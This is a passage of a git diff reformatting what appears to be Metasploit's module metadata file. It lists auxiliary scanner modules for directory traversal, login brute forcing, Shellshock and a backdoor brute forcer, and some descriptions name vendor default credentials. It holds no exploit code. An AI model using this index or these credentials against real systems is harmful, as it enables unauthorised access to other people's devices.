"needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/dns/dns_amp": { "name": "DNS Amplification Scanner", "fullname": "auxiliary/scanner/dns/dns_amp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -29964,12 +25900,8 @@ "platform": "", "arch": "", "rport": 53, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2017-08-26 21:01:10 +0000", "path": "/modules/auxiliary/scanner/dns/dns_amp.rb", @@ -29978,20 +25910,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/emc/alphastor_devicemanager": { "name": "EMC AlphaStor Device Manager Service", "fullname": "auxiliary/scanner/emc/alphastor_devicemanager", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -29999,18 +25926,12 @@ "MC " ], "description": "This module queries the remote host for the EMC Alphastor Device Management Service.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 3000, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/emc/alphastor_devicemanager.rb", @@ -30019,20 +25940,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/emc/alphastor_librarymanager": { "name": "EMC AlphaStor Library Manager Service", "fullname": "auxiliary/scanner/emc/alphastor_librarymanager", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -30040,18 +25956,12 @@ "MC " ], "description": "This module queries the remote host for the EMC Alphastor Library Management Service.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 3500, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/emc/alphastor_librarymanager.rb", @@ -30060,20 +25970,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/etcd/open_key_scanner": { "name": "Etcd Keys API Information Gathering", "fullname": "auxiliary/scanner/etcd/open_key_scanner", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2018-03-16", "type": "auxiliary", @@ -30112,20 +26017,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/etcd/version": { "name": "Etcd Version Scanner", "fullname": "auxiliary/scanner/etcd/version", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2018-03-16", "type": "auxiliary", @@ -30164,20 +26064,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/finger/finger_users": { "name": "Finger Service User Enumerator", "fullname": "auxiliary/scanner/finger/finger_users", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -30185,18 +26080,12 @@ "hdm " ], "description": "Identify valid users through the finger service using a variety of tricks", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 79, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2018-02-20 15:48:00 +0000", "path": "/modules/auxiliary/scanner/finger/finger_users.rb", @@ -30205,20 +26094,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/ftp/anonymous": { "name": "Anonymous FTP Access Detection", "fullname": "auxiliary/scanner/ftp/anonymous", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -30247,20 +26131,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/ftp/bison_ftp_traversal": { "name": "BisonWare BisonFTP Server 3.5 Directory Traversal Information Disclosure", "fullname": "auxiliary/scanner/ftp/bison_ftp_traversal", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2015-09-28", "type": "auxiliary", @@ -30292,20 +26171,15 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/ftp/colorado_ftp_traversal": { "name": "ColoradoFTP Server 1.3 Build 8 Directory Traversal Information Disclosure", "fullname": "auxiliary/scanner/ftp/colorado_ftp_traversal", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2016-08-11", "type": "auxiliary", @@ -30337,20 +26211,15 @@ "check": true, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/ftp/easy_file_sharing_ftp": { "name": "Easy File Sharing FTP Server 3.6 Directory Traversal", "fullname": "auxiliary/scanner/ftp/easy_file_sharing_ftp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2017-03-07", "type": "auxiliary", @@ -30379,20 +26248,15 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/ftp/ftp_login": { "name": "FTP Authentication Scanner", "fullname": "auxiliary/scanner/ftp/ftp_login", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -30421,20 +26285,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/ftp/ftp_version": { "name": "FTP Version Scanner", "fullname": "auxiliary/scanner/ftp/ftp_version", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -30442,9 +26301,7 @@ "hdm " ], "description": "Detect FTP Version.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 21, @@ -30463,20 +26320,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/ftp/konica_ftp_traversal": { "name": "Konica Minolta FTP Utility 1.00 Directory Traversal Information Disclosure", "fullname": "auxiliary/scanner/ftp/konica_ftp_traversal", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2015-09-22", "type": "auxiliary", @@ -30510,20 +26362,15 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/ftp/pcman_ftp_traversal": { "name": "PCMan FTP Server 2.0.7 Directory Traversal Information Disclosure", "fullname": "auxiliary/scanner/ftp/pcman_ftp_traversal", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2015-09-28", "type": "auxiliary", @@ -30555,20 +26402,15 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/ftp/titanftp_xcrc_traversal": { "name": "Titan FTP XCRC Directory Traversal Information Disclosure", "fullname": "auxiliary/scanner/ftp/titanftp_xcrc_traversal", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2010-06-15", "type": "auxiliary", @@ -30600,20 +26442,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/gopher/gopher_gophermap": { "name": "Gopher gophermap Scanner", "fullname": "auxiliary/scanner/gopher/gopher_gophermap", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -30627,12 +26464,8 @@ "platform": "", "arch": "", "rport": 70, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2017-10-20 09:44:07 +0000", "path": "/modules/auxiliary/scanner/gopher/gopher_gophermap.rb", @@ -30641,20 +26474,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/gprs/gtp_echo": { "name": "GTP Echo Scanner", "fullname": "auxiliary/scanner/gprs/gtp_echo", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -30670,12 +26498,8 @@ "platform": "", "arch": "", "rport": 2152, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2019-04-26 17:45:27 +0000", "path": "/modules/auxiliary/scanner/gprs/gtp_echo.rb", @@ -30684,20 +26508,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/h323/h323_version": { "name": "H.323 Version Scanner", "fullname": "auxiliary/scanner/h323/h323_version", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -30705,18 +26524,12 @@ "hdm " ], "description": "Detect H.323 Version.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 1720, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/h323/h323_version.rb", @@ -30725,20 +26538,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/a10networks_ax_directory_traversal": { "name": "A10 Networks AX Loadbalancer Directory Traversal", "fullname": "auxiliary/scanner/http/a10networks_ax_directory_traversal", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2014-01-28", "type": "auxiliary", @@ -30777,20 +26585,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/accellion_fta_statecode_file_read": { "name": "Accellion FTA 'statecode' Cookie Arbitrary File Read", "fullname": "auxiliary/scanner/http/accellion_fta_statecode_file_read", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2015-07-10", "type": "auxiliary", @@ -30828,20 +26631,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/adobe_xml_inject": { "name": "Adobe XML External Entity Injection", "fullname": "auxiliary/scanner/http/adobe_xml_inject", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -30882,20 +26680,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/advantech_webaccess_login": { "name": "Advantech WebAccess Login", "fullname": "auxiliary/scanner/http/advantech_webaccess_login", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -30903,9 +26696,7 @@ "sinn3r " ], "description": "This module will attempt to authenticate to Advantech WebAccess.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 80, @@ -30932,20 +26723,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/allegro_rompager_misfortune_cookie": { "name": "Allegro Software RomPager 'Misfortune Cookie' (CVE-2014-9222) Scanner", "fullname": "auxiliary/scanner/http/allegro_rompager_misfortune_cookie", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2014-12-17", "type": "auxiliary", @@ -30986,20 +26772,15 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/apache_activemq_source_disclosure": { "name": "Apache ActiveMQ JSP Files Source Disclosure", "fullname": "auxiliary/scanner/http/apache_activemq_source_disclosure", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -31040,20 +26821,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/apache_activemq_traversal": { "name": "Apache ActiveMQ Directory Traversal", "fullname": "auxiliary/scanner/http/apache_activemq_traversal", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -31093,20 +26869,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/apache_flink_jobmanager_traversal": { "name": "Apache Flink JobManager Traversal", "fullname": "auxiliary/scanner/http/apache_flink_jobmanager_traversal", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2021-01-05", "type": "auxiliary", @@ -31154,25 +26925,19 @@ "Stability": [ "crash-safe" ], - "Reliability": [ - - ], + "Reliability": [], "SideEffects": [ "ioc-in-logs" ] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/apache_mod_cgi_bash_env": { "name": "Apache mod_cgi Bash Environment Variable Injection (Shellshock) Scanner", "fullname": "auxiliary/scanner/http/apache_mod_cgi_bash_env", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2014-09-24", "type": "auxiliary", @@ -31223,16 +26988,12 @@ }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/apache_nifi_login": { "name": "Apache NiFi Login Scanner", "fullname": "auxiliary/scanner/http/apache_nifi_login", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -31240,9 +27001,7 @@ "h00die" ], "description": "This module attempts to take login details for Apache NiFi websites\n and identify if they are valid or not.\n\n Tested against NiFi major releases 1.14.0 - 1.21.0, and 1.13.0\n Also works against NiFi <= 1.13.0, but the module needs to be adjusted:\n set SSL false\n set rport 8080", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 8443, @@ -31273,25 +27032,19 @@ "Stability": [ "crash-safe" ], - "Reliability": [ - - ], + "Reliability": [], "SideEffects": [ "ioc-in-logs" ] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/apache_nifi_version": { "name": "Apache NiFi Version Scanner", "fullname": "auxiliary/scanner/http/apache_nifi_version", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -31299,9 +27052,7 @@ "h00die" ], "description": "This module identifies Apache NiFi websites and reports their version number.\n\n Tested against NiFi major releases 1.14.0 - 1.21.0, and 1.11.0-1.13.0\n Also works against NiFi <= 1.13.0, but the module needs to be adjusted:\n set SSL false\n set rport 8080", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 8443, @@ -31332,25 +27083,17 @@ "Stability": [ "crash-safe" ], - "Reliability": [ - - ], - "SideEffects": [ - - ] + "Reliability": [], + "SideEffects": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/apache_normalize_path": { "name": "Apache 2.4.49/2.4.50 Traversal RCE scanner", "fullname": "auxiliary/scanner/http/apache_normalize_path", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2021-05-10", "type": "auxiliary", @@ -31427,9 +27170,7 @@ "auxiliary_scanner/http/apache_optionsbleed": { "name": "Apache Optionsbleed Scanner", "fullname": "auxiliary/scanner/http/apache_optionsbleed", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2017-09-18", "type": "auxiliary", @@ -31477,16 +27218,12 @@ }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/apache_userdir_enum": { "name": "Apache \"mod_userdir\" User Enumeration", "fullname": "auxiliary/scanner/http/apache_userdir_enum", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -31525,20 +27262,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/appletv_login": { "name": "AppleTV AirPlay Login Utility", "fullname": "auxiliary/scanner/http/appletv_login", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -31576,20 +27308,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/atlassian_crowd_fileaccess": { "name": "Atlassian Crowd XML Entity Expansion Remote File Access", "fullname": "auxiliary/scanner/http/atlassian_crowd_fileaccess", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -31634,20 +27361,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/axis_local_file_include": { "name": "Apache Axis2 v1.4.1 Local File Inclusion", "fullname": "auxiliary/scanner/http/axis_local_file_include", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -31685,20 +27407,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/axis_login": { "name": "Apache Axis2 Brute Force Utility", "fullname": "auxiliary/scanner/http/axis_login", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -31736,20 +27453,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/azure_ad_login": { "name": "Microsoft Azure Active Directory Login Enumeration", "fullname": "auxiliary/scanner/http/azure_ad_login", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -31788,20 +27500,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/backup_file": { "name": "HTTP Backup File Scanner", "fullname": "auxiliary/scanner/http/backup_file", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -31809,9 +27516,7 @@ "et " ], "description": "This module identifies the existence of possible copies\n of a specific file in a given path.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 80, @@ -31838,20 +27543,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/barracuda_directory_traversal": { "name": "Barracuda Multiple Product \"locale\" Directory Traversal", "fullname": "auxiliary/scanner/http/barracuda_directory_traversal", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2010-10-08", "type": "auxiliary", @@ -31890,20 +27590,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/bavision_cam_login": { "name": "BAVision IP Camera Web Server Login", "fullname": "auxiliary/scanner/http/bavision_cam_login", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -31911,9 +27606,7 @@ "sinn3r " ], "description": "This module will attempt to authenticate to an IP camera created by BAVision via the\n web service. By default, the vendor ships a default credential admin:123456 to its\n cameras, and the web server does not enforce lockouts in case of a bruteforce attack.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 80, @@ -31940,20 +27633,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/binom3_login_config_pass_dump": { "name": "Binom3 Web Management Login Scanner, Config and Password File Dump", "fullname": "auxiliary/scanner/http/binom3_login_config_pass_dump", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -31991,20 +27679,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/bitweaver_overlay_type_traversal": { "name": "Bitweaver overlay_type Directory Traversal", "fullname": "auxiliary/scanner/http/bitweaver_overlay_type_traversal", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2012-10-23", "type": "auxiliary", @@ -32018,7 +27701,7 @@ "CVE-2012-5192", "OSVDB-86599", "EDB-22216", - "URL-https://www.trustwave.com/spiderlabs/advisories/TWSL2012-016.txt" + "URL-http://web.archive.org/web/20130827041908/https://www.trustwave.com/spiderlabs/advisories/TWSL2012-016.txt" ], "platform": "", "arch": "", @@ -32039,27 +27722,22 @@ "https" ], "targets": null, - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-02-28 09:35:28 +0000", "path": "/modules/auxiliary/scanner/http/bitweaver_overlay_type_traversal.rb", "is_install_path": true, "ref_name": "scanner/http/bitweaver_overlay_type_traversal", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/blind_sql_query": { "name": "HTTP Blind SQL Injection Scanner", "fullname": "auxiliary/scanner/http/blind_sql_query", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -32067,9 +27745,7 @@ "et " ], "description": "This module identifies the existence of Blind SQL injection issues\n in GET/POST Query parameters values.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 80, @@ -32096,20 +27772,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/bmc_trackit_passwd_reset": { "name": "BMC TrackIt! Unauthenticated Arbitrary User Password Change", "fullname": "auxiliary/scanner/http/bmc_trackit_passwd_reset", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2014-12-09", "type": "auxiliary", @@ -32148,20 +27819,15 @@ "check": true, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/brute_dirs": { "name": "HTTP Directory Brute Force Scanner", "fullname": "auxiliary/scanner/http/brute_dirs", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -32169,9 +27835,7 @@ "et " ], "description": "This module identifies the existence of interesting directories by brute forcing the name\n in a given directory path.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 80, @@ -32198,20 +27862,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/buffalo_login": { "name": "Buffalo NAS Login Utility", "fullname": "auxiliary/scanner/http/buffalo_login", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -32219,9 +27878,7 @@ "Nicholas Starke " ], "description": "This module simply attempts to login to a Buffalo NAS instance using a specific\n username and password. It has been confirmed to work on version 1.68", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 80, @@ -32248,20 +27905,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/buildmaster_login": { "name": "Inedo BuildMaster Login Scanner", "fullname": "auxiliary/scanner/http/buildmaster_login", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -32269,9 +27921,7 @@ "James Otten " ], "description": "This module will attempt to authenticate to BuildMaster. There is a default user 'Admin'\n which has the default password 'Admin'.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 81, @@ -32298,20 +27948,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/caidao_bruteforce_login": { "name": "Chinese Caidao Backdoor Bruteforce", "fullname": "auxiliary/scanner/http/caidao_bruteforce_login", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -32322,7 +27967,7 @@ "references": [ "URL-https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-i.html", "URL-https://www.mandiant.com/resources/breaking-down-the-china-chopper-web-shell-part-ii", - "URL-https://www.exploit-db.com/docs/27654.pdf", + "URL-http://web.archive.org/web/20170214000632/https://www.exploit-db.com/docs/27654.pdf", "URL-https://www.cisa.gov/uscert/ncas/alerts/TA15-314A", "URL-http://blog.csdn.net/nixawk/article/details/40430329" ], @@ -32345,27 +27990,22 @@ "https" ], "targets": null, - "mod_time": "2024-05-03 10:45:37 +0000", + "mod_time": "2025-02-28 09:35:28 +0000", "path": "/modules/auxiliary/scanner/http/caidao_bruteforce_login.rb", "is_install_path": true, "ref_name": "scanner/http/caidao_bruteforce_login", "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/canon_wireless": { "name": "Canon Printer Wireless Configuration Disclosure", "fullname": "auxiliary/scanner/http/canon_wireless", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2013-06-18", "type": "auxiliary", @@ -32404,20 +28044,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/cassandra_web_file_read": { "name": "Cassandra Web File Read Vulnerability", "fullname": "auxiliary/scanner/http/cassandra_web_file_read", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -32460,25 +28095,17 @@ "Stability": [ "crash-safe" ], - "Reliability": [ - - ], - "SideEffects": [ - - ] + "Reliability": [], + "SideEffects": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/cert": { "name": "HTTP SSL Certificate Checker", "fullname": "auxiliary/scanner/http/cert", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -32486,18 +28113,12 @@ "nebulus" ], "description": "This module will check the certificate of the specified web servers\n to ensure the subject and issuer match the supplied pattern and that the certificate\n is not expired.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 443, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/http/cert.rb", @@ -32506,20 +28127,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/cgit_traversal": { "name": "cgit Directory Traversal", "fullname": "auxiliary/scanner/http/cgit_traversal", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2018-08-03", "type": "auxiliary", @@ -32559,20 +28175,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/chef_webui_login": { "name": "Chef Web UI Brute Force Utility", "fullname": "auxiliary/scanner/http/chef_webui_login", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -32580,9 +28191,7 @@ "hdm " ], "description": "This module attempts to login to Chef Web UI server instance using username and password\n combinations indicated by the USER_FILE, PASS_FILE, and USERPASS_FILE options. It\n will also test for the default login (admin:p@ssw0rd1).", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 